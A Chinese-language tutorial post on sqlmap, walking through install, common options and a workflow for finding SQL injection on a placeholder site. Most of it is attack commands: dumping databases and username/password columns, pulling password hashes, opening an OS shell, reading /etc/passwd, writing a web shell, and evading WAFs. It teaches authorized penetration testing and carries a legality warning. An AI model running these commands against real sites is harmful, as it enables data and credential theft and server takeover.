sqlmap 的基本用法

发布于:2025-06-14 ⋅ 阅读:(23) ⋅ 点赞:(0)

sqlmap 是一款开源的渗透测试工具,旨在自动化检测和利用 SQL 注入漏洞,并接管数据库服务器。它具有强大的检测引擎和广泛的功能,可以帮助渗透测试人员进行数据库指纹识别、数据获取、文件系统访问以及在操作系统上执行命令等操作。
在这里插入图片描述

上图的问题,给 url 加上双引号就好了

在这里插入图片描述

sqlmap 的基本用法

sqlmap 是一个命令行工具,通常与 Python 解释器一起使用。

1. 安装 (如果尚未安装):

  • Linux (Kali Linux 通常预装):
    sudo apt install sqlmap
    
    或者通过 Git 克隆:
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
    
  • Windows:sqlmap 官网 下载 .zip 文件并解压。

2. 基本语法:

python sqlmap.py [options]

或直接使用 sqlmap (如果已添加到 PATH):

sqlmap [options]

3. 常用选项和示例:

  • -u--url:指定目标 URL。
    这是最基本的用法,用于指定要测试的 Web 应用程序的 URL。

    sqlmap -u "http://example.com/vuln.php?id=1"
    
  • --dbs:枚举数据库名称。
    发现目标服务器上的所有数据库。

    sqlmap -u "http://example.com/vuln.php?id=1" --dbs
    
  • -D <DB NAME>:指定要操作的数据库。
    --tables--columns--dump 结合使用。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> --tables
    
  • --tables:枚举指定数据库中的表。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> --tables
    
  • -T <TABLE NAME>:指定要操作的表。
    --columns--dump 结合使用。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --columns
    
  • --columns:枚举指定表中所有列。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --columns
    
  • -C <COLUMN NAME>:指定要操作的列。
    --dump 结合使用。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> -C <column_name> --dump
    
  • --dump:转储(获取)指定数据库、表或列的数据。

    # 转储整个表的数据
    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --dump
    
    # 转储指定列的数据
    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> -C "username,password" --dump
    
  • --current-user:获取当前数据库用户。

    sqlmap -u "http://example.com/vuln.php?id=1" --current-user
    
  • --current-db:获取当前数据库名称。

    sqlmap -u "http://example.com/vuln.php?id=1" --current-db
    
  • --is-dba:检查当前用户是否为 DBA(数据库管理员)。

    sqlmap -u "http://example.com/vuln.php?id=1" --is-dba
    
  • --passwords:获取数据库用户的密码哈希。
    需要 DBA 权限或特定条件。

    sqlmap -u "http://example.com/vuln.php?id=1" --passwords
    
  • --data:指定 POST 请求的数据。
    当目标是 POST 请求时使用。

    sqlmap -u "http://example.com/login.php" --data="username=test&password=test"
    
  • -r <request_file>:从文件加载 HTTP 请求。
    你可以使用 Burp Suite 等工具捕获 HTTP 请求并保存到文件,然后 sqlmap 可以加载该文件进行测试。

    sqlmap -r request.txt
    
  • -p <parameter>:指定要测试的参数。
    如果 URL 中有多个参数,你可以指定只测试其中一个。

    sqlmap -u "http://example.com/search.php?query=test&cat=1" -p query
    
  • --batch:在交互式提示时自动选择默认选项。
    在自动化脚本中很有用。

    sqlmap -u "http://example.com/vuln.php?id=1" --dbs --batch
    
  • --random-agent:使用随机的用户代理。
    有助于规避一些简单的检测。

    sqlmap -u "http://example.com/vuln.php?id=1" --random-agent
    
  • --level=<level>--risk=<risk>:设置测试的深度和风险等级。
    level 影响测试的彻底性 (默认 1),risk 影响使用高风险查询的频率 (默认 1)。

    sqlmap -u "http://example.com/vuln.php?id=1" --level=5 --risk=3
    
  • --os-shell:尝试获取操作系统的 shell 访问权限。
    需要特定的数据库配置和权限。

    sqlmap -u "http://example.com/vuln.php?id=1" --os-shell
    
  • --file-read=<file_path>:读取目标服务器上的文件。
    需要文件读写权限。

    sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"
    
  • --file-write=<local_file_path> --file-dest=<remote_file_path>:将本地文件写入目标服务器。
    需要文件读写权限。

    sqlmap -u "http://example.com/vuln.php?id=1" --file-write="local_shell.php" --file-dest="/var/www/html/shell.php"
    

使用流程建议:

  1. 目标识别和初步探测:

    sqlmap -u "http://example.com/vuln.php?id=1"
    

    此命令将自动检测注入点和可用的注入技术。

  2. 枚举数据库:

    sqlmap -u "http://example.com/vuln.php?id=1" --dbs
    
  3. 枚举特定数据库中的表:
    选择一个感兴趣的数据库(例如 webdb):

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb --tables
    
  4. 枚举特定表中的列:
    选择一个感兴趣的表(例如 users):

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users --columns
    
  5. 转储数据:
    选择感兴趣的列(例如 username, password):

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users -C "username,password" --dump
    

    或者直接转储整个表的数据:

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users --dump
    

重要提示:

  • 合法性: 未经授权,请勿对任何网站使用 sqlmapsqlmap 旨在用于合法的渗透测试和安全研究。
  • 权限: sqlmap 的功能取决于你所利用的 SQL 注入漏洞的类型以及目标数据库用户的权限。
  • WAF/IPS 绕过: 实际环境中,目标网站可能部署有 WAF (Web Application Firewall) 或 IPS (Intrusion Prevention System) 来防御 SQL 注入。sqlmap 提供 --tamper 选项来使用各种脚本绕过这些防御措施。
  • 详细帮助: 使用 sqlmap -hsqlmap -hh 可以查看更详细的帮助信息和所有可用的选项。

sqlmap 是一个非常强大的工具,熟练掌握其基本用法是进行 SQL 注入测试的关键一步。